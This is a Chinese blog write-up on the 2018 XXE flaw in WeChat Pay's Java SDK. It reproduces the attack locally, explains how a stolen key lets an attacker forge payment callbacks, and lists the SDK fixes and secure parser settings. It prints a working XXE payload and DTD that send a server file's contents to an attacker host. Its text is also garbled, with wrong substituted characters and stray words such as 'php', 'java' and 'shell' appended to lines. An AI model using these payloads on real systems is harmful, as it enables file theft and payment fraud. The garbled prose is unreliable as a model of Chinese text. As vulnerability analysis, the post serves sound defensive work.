昨天(2018-07-04)微信支付的SDK曝出重大漏洞(XXE漏洞),经过该漏洞,攻击者能够获取服务器中目录结构、文件内容,如代码、各类私钥等。获取这些信息之后,攻击者即可觉得所欲为,其中就包括众多媒体所宣传的“0元也能买买买”。php
漏洞报告地址;http://seclists.org/fulldisclosure/2018/Jul/3html
这次曝出的漏洞属于XXE漏洞,即XML外部实体注入(XML External Entity Injection)。java
XML文档除了能够包含声明和元素之外,还能够包含文档类型定义(即DTD);以下图所示。web
在DTD中,能够引进实体,在解析XML时,实体将会被替换成相应的引用内容。该实体能够由外部引入(支持http、ftp等协议,后文以http为例说明),若是经过该外部实体进行攻击,就是XXE攻击。spring
能够说,XXE漏洞之因此可以存在,本质上在于在解析XML的时候,能够与外部进行通讯;当XML文档能够由攻击者任意构造时,攻击便成为可能。在利用XXE漏洞能够作的事情当中,最多见最容易实现的,即是读取服务器的信息,包括目录结构、文件内容等;本次微信支付爆出的漏洞便属于这一种。shell
本次漏洞影响的范围是:在微信支付异步回调接口中,使用微信支付SDK进行XML解析的应用。注意这里的SDK是服务器端的SDK,APP端使用SDK并不受影响。apache
SDK下载地址以下(目前微信官方宣传漏洞已修复):https://pay.weixin.qq.com/wiki/doc/api/download/WxPayAPI_JAVA_v3.zipjson
SDK中致使漏洞的代码是WXPayUtil工具类中的xmlToMap()方法:api
如上图所示,因为在解析XML时没有对外部实体的访问作任何限制,若是攻击者恶意构造xml请求,即可以对服务器进行攻击。下面经过实例介绍攻击的方法。安全
下面在本机环境下进行复现。
假设本地的web服务器127.0.0.1:8080中存在POST接口:/wxpay/callback,该接口中接收xml字符串作参数,并调用前述的WXPayUtil.xmlToMap(strXml)对xml参数进行解析。此外,/etc/password中存储了重要的密码数据(如password1234)。
攻击时构造的请求以下:
其中xml内容以下:
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE root [ <!ENTITY % file SYSTEM "file:///etc/password"> <!ENTITY % xxe SYSTEM "http://127.0.0.1:9000/xxe.dtd"> %xxe; ]>
其中/etc/password为要窃取的对象,http://127.0.0.1:9000/xxe.dtd为攻击者服务器中的dtd文件,内容以下:
<!ENTITY % shell "<!ENTITY % upload SYSTEM 'http://127.0.0.1:9000/evil/%file;'>"> %shell; %upload;
经过xml+dtd文件,攻击者即可以在服务器http://127.0.0.1:9000中收到以下请求:
http://127.0.0.1:9000/evil/password1234
这样,攻击者便获得了/etc/password文件的内容。
在本例中,攻击者窃取了/etc/password文件中的内容,实际上攻击者还能够获取服务器中的目录结构以及其余文件,只要启动web应用的用户具备相应的读权限。若是获取的信息比较复杂,如包含特殊符号,没法直接经过http的URL发送,则能够采用对文件内容进行Base64编码等方法解决。
解决该漏洞的原理很是简单,只要禁止解析XML时访问外部实体便可。
漏洞曝出之后,微信进行了紧急修复,一方面是更新了SDK,并提醒开发者使用最新的SDK;SDK中修复代码以下:
加入了以下两行代码:
documentBuilderFactory.setExpandEntityReferences(false); documentBuilderFactory.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true);
更新:微信从新发表声明,上述2条语句没法禁止该漏洞,再次更新了官方SDK,加了如下语句:
documentBuilderFactory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); documentBuilderFactory.setFeature("http://xml.org/sax/features/external-general-entities", false); documentBuilderFactory.setFeature("http://xml.org/sax/features/external-parameter-entities", false); documentBuilderFactory.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", false); documentBuilderFactory.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true); documentBuilderFactory.setXIncludeAware(false); documentBuilderFactory.setExpandEntityReferences(false);
此外,微信官方也给出了关于XXE漏洞的最佳安全实践,能够参考:
https://pay.weixin.qq.com/wiki/doc/api/jsapi.php?chapter=23_5
笔者本人使用上述方案中建议的以下代码修复了该漏洞:
DocumentBuilderFactory documentBuilderFactory = DocumentBuilderFactory.newInstance(); documentBuilderFactory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); DocumentBuilder documentBuilder = documentBuilderFactory.newDocumentBuilder(); ……
在不少媒体的报道中,强调该漏洞的风险在于攻击者能够不支付也能够得到商品。确实,攻击者在经过上述漏洞得到微信支付的秘钥之后,有不止一种途径能够作到不支付就得到商品:例如,攻击者首先在系统中下单,得到商户订单号;而后即可以调用微信支付的异步回调,其中的签名参数即可以使用前面获取的秘钥对订单号等信息进行MD5得到;这样攻击者的异步回调就能够经过应用服务器的签名认证,从而得到商品。不过,在不少有必定规模的购物网站(或其余有支付功能的网站),会有对帐系统,如定时将系统中的订单状态与微信、支付宝的后台对比,若是出现不一致能够及时报警并处理,所以该漏洞在这方面的影响可能并无想象的那么大。
然而,除了“0元也能买买买”,攻击者能够作的事情还有不少不少;理论上来讲,攻击者可能得到应用服务器上的目录结构、代码、数据、配置文件等,能够根据须要进行进一步破坏。
虽然微信支付曝出该漏洞受到了普遍关注,但该漏洞毫不仅仅存在于微信支付中:因为众多XML解析器默认不会禁用对外部实体的访问,所以应用的接口若是有如下几个特色就很容易掉进XXE漏洞的坑里:
(1)接口使用xml作请求参数
(2)接口对外公开,或容易得到:例如一些接口提供给外部客户调用,或者接口使用http很容易抓包,或者接口比较容易猜到(如微信支付的异步回调接口)
(3)接口中解析xml参数时,没有禁用对外部实体的访问
建议你们最好检查一下本身的应用中是否有相似的漏洞,及时修复。
xml 与 json是系统间交互经常使用的两种数据格式,虽然不少状况下两者能够互换,可是笔者认为,json 做为更加轻量级更加纯粹的数据格式,更适合于系统间的交互;而xml,做为更加剧量级更加复杂的数据格式,其 DTD 支持自定义文档类型,在更加复杂的配置场景下有着更好的效果,典型的场景如 spring 相关的配置。
在前面曾经提到,应用中存储的秘钥一旦泄露,攻击者即可以彻底绕过签名认证,这是由于微信支付使用的是对称式的签名认证:微信方和应用方,使用相同的秘钥对相同的明文进行MD5签名,只要应用方的秘钥泄露,签名认证就彻底成了摆设。
在这方面支付宝的作法更规范也更安全:支付宝为应用生成公私钥对,公钥由应用方保存,私钥由支付宝保存;在回调时,支付宝使用私钥进行签名,应用方使用公钥进行验证;这样只要支付宝保存的私钥不泄露,攻击者只有公钥则难以经过签名认证。
https://pay.weixin.qq.com/wiki/doc/api/jsapi.php?chapter=23_5
http://seclists.org/fulldisclosure/2018/Jul/3
https://www.cnblogs.com/tongwen/p/5194483.html
创做不易,若是文章对你有帮助,就点个赞、评个论呗~
创做不易,若是文章对你有帮助,就点个赞、评个论呗~
创做不易,若是文章对你有帮助,就点个赞、评个论呗~